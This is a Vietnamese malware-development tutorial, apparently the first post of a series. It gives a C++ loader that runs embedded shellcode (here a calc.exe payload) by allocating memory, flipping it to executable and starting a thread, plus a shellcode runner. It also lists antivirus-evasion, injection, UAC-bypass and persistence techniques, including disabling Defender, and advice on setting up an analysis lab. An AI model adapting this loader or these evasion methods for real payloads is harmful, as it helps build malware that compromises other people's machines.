Trước khi chúng ta tìm hiểu về malware, bạn đọc nên phân biệt sự khác nhau giữa spyware, malware, virus, trojan, worm hay rootkit… và phải có hiểu biết sơ qua về Assembly, cách bộ xử lí, bộ nhớ hoạt động,...
Có thể tìm hiểu về x86 Assembly từ trang cocomelonc tại: Part 1, Part 2.
Malware (phần mềm độc hại) về cơ bản là bất kỳ loại phần mềm nào có ý định làm hại vào máy tính (thu thập thông tin, truy cập dữ liệu nhạy cảm…) Malware bao gồm virus, trojan, rootkit, worm, keylogger, spyware, adware, v.v... Bây giờ, chúng ta đi sâu phân tích malware.
Series này sẽ tập trung tìm hiểu về cách tạo ra một malware, bypass AV (anti virus). Không khuyến khích sử dụng những bài viết này vào mục đích trái phép. Nội dung của bài viết sẽ dựa trên kinh nghiệm cá nhân mình và trang cocomelonc.
Để test bất kỳ một ứng dụng hay tệp tin nào có nguy hiểm hay không, bạn đọc có thể sử dụng trang VirusTotal hoặc phân tích trên máy ảo. Chi tiết về cài đặt môi trường máy ảo mình sẽ nói chi tiết hơn ở phần Environment.
Có thể viết malware trên nhiều ngôn ngữ như C, Python,... Tuy nhiên, series này chủ yếu sẽ sử dụng C bởi tính gọn nhẹ, low level,...
Bắt đầu với một malware viết bằng C++ đơn giản:
/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// our payload calc.exe
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer as executable
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Chương trình trên sẽ thực thi đoạn mã ở trong my_payload. Đoạn mã đó được gọi là shell code, được viết bằng Assembly và chuyển sang dạng hex. Chúng ta có thể viết đoạn mã để chạy một chương trình khác, can thiệp process hay memory, rce thông qua reverse shell,... Đoạn mã bên trên được viết để khởi chạy calc.exe trên Windows.
VirtualAlloc là hàm để tạo vùng nhớ theo yêu cần, về chức năng nó giống malloc trong C. MEM_RESERVE dùng để tạo ô nhớ ảo, còn MEM_COMMIT dùng để link ô nhớ ảo với ô nhớ physical. PAGE_READWRITE là quyền hạn với vùng nhớ, cho phép đọc và ghi.
RtlMoveMemory dùng để copy payload vào vùng nhớ.
VirtualProtect dùng để thay đổi quyền hạn từ đọc & ghi thành đọc & thực thi. Lí do không để cả 3 quyền hạn từ đầu cho vùng nhớ là vì thông thường một vùng nhớ chỉ có 2 quyền hạn, nếu có tới 3 thì bất thường và dễ bị AV phát hiện.
Cuối cùng, CreateThread dùng để khởi chạy payload ở một thread khác trong chương trình này.
Sau khi compile và chạy chúng ta sẽ đạt được kết quả như đã nêu trên.
Chúng ta có thể dịch ngược file PE này và dễ dàng thấy các hàm đã được sử dụng cũng như payload của chúng ta. Có nhiều công cụ dịch ngược như Ghidra, IDA,...
Đây là kết quả của VirusTotal trả về khi quét file PE này, 49/71 AV phát hiện: Here.
Để việc phân tích mã độc được trơn tru và an toàn, chúng ta phải có một môi trường đủ tốt. Các máy ảo phổ biến có thể kể tới như: Virtual Box, VMWare,... Chúng ta cũng có thể cài đặt FLARE-VM trên những máy ảo Windows và kết hợp chúng với Remnux để phân tích mã độc một cách hiệu quả hơn.
Để bảo vệ máy host, chúng ta nên cập nhật các bản vá mới nhất của hệ điều hành máy host cũng như phần mềm ảo hoá mà chúng ta sử dụng (tránh trường hợp malware khai thác CVE của phần mềm ảo hoá thực thi mã độc trên máy host).
Bên cạnh đó cũng cần cô lập mạng của máy guest với máy host, tránh trường hợp malware tấn công vào máy host thông qua mạng máy guest. Việc cài đặt này có thể thực hiện thông qua thiết lập mạng của phần mềm ảo hoá. Như trong VirtualBox chúng ta có thể sử dụng NAT Network để các máy guest trong cùng một mạng nội bộ, không giao tiếp được với máy host nhưng vẫn có thể truy cập Internet. Tránh sử dụng Bridge Network vì máy guest sẽ được cấp IP ngang hàng và có thể giao tiếp với máy host.
Tính năng snapshot của phần mềm ảo hoá cũng rất hữu ích, giúp chúng ta lưu lại trạng thái của máy ảo trước khi thực thi mã độc, nếu có vấn đề chúng ta có thể khôi phục lại trạng thái trước đó.
Một combo tốt để thực hiện phân tích mã độc là sử dụng FLARE-VM và Remnux trên 2 máy ảo khác nhau trong cùng mạng NAT Network, một máy ảo chạy Windows để phân tích mã độc và một máy ảo chạy Linux để phân tích môi trường mã độc. Luồng mạng của FLARE-VM sẽ được chuyển qua Remnux để phân tích.
Thuật ngữ shell code bắt nguồn từ một program từ xưa bị khai thác lỗ hổng và mở remote shell, từ đó kẻ tấn công có thể tương tác với hệ thống của nạn nhân. Và như ở trên, chúng ta đã thấy được shell code được sử dụng như thế nào. Mục đích sử dụng của shell code là để inject vào các program bị khai thác, và điều này thuận tiện hơn nhiều so với cách đưa code của các ngôn ngữ lập trình vào.
Bạn đọc có thể viết Assembly shellcode trả về 0 và test shellcode của mình viết sử dụng đoạn code C này:
/* run.c - a small skeleton program to run shellcode by cocomelonc */ // bytecode here char code[] = "my shellcode here"; int main(int argc, char **argv) { int (*func)(); // function pointer func = (int (*)()) code; // func points to our shellcode (int)(*func)(); // execute a function code[] // if our program returned 0 instead of 1, // so our shellcode worked return 1; }
Đoạn code trên dùng để thực thi những gì được viết trong shellcode. Chúng ta cũng có thể viết lại ví dụ malware bên trên chỉ bằng shellcode.
Để tránh bị AV phát hiện, chúng ta có nhiều cách như:
- Ẩn sự hiện diện của chuỗi và lời gọi hàm bằng thư viện:
ADVobfuscator
- Mã hoá đối xứng payload, rồi sau khi khởi tạo giá trị cho
payload thì decrypt payload:
Here
- Function Call Obfuscation (ẩn DLL & external functions)
bằng GetProcAddress, GetModuleHandle & XOR:
Here
- Allocate và lấp đầy 100MB bộ nhớ:
Here
- Function Call Obfuscation (ẩn DLL & external functions)
làm rối GetProcAddress sử dụng ordinal & EDT:
Here
- Function Call Obfuscation bằng cách so sánh hash:
Here
- Check máy ảo VirtualBox bằng registry keys:
Here
- Ẩn GetModuleHandle:
Here
- Ẩn GetProcAddress:
Here
- Leo thang đặc quyền (bypass UAC) sử dụng fodhelper.exe:
Here
Một số phương pháp để inject payload và thực thi:
- Inject code vào process khác:
Here
- Inject DLL file vào process (tạo DLL Main và khởi chạy
vùng nhớ chứa nó):
Here
- Tìm PID theo tên process:
Here
- APC (Asynchronous procedure call)...
Bên cạnh việc inject malware và bypass AV, chúng ta cũng cần quan tâm tới cách để kéo dài thời lượng của malware trên máy nạn nhân. Có nhiều cách như:
- Sử dụng run keys trong registry:
Here
- DLL
- Windows Services
- Disable
Windows Defender:
Here
- Winlogon
Nếu bạn đọc chưa có kiến thức nền hoặc muốn tìm hiểu thêm về malware,
mình recommend cuốn sách Practical Malware Analysis (bản 201x). Dù sách
đã cũ nhưng nội dung vẫn còn toàn diện và dễ hiểu.
Mình cũng có note lại một vài điểm quan trọng từ cuốn sách này trong bài
viết tới.
Sau khi đã có kiến thức cơ bản về malware, bạn đọc có thể tìm hiểu các
cách thức xây dựng malware dựa trên những mẫu malware được sử dụng thật
trong quá khứ thông qua những nguồn như:
Vx Underground.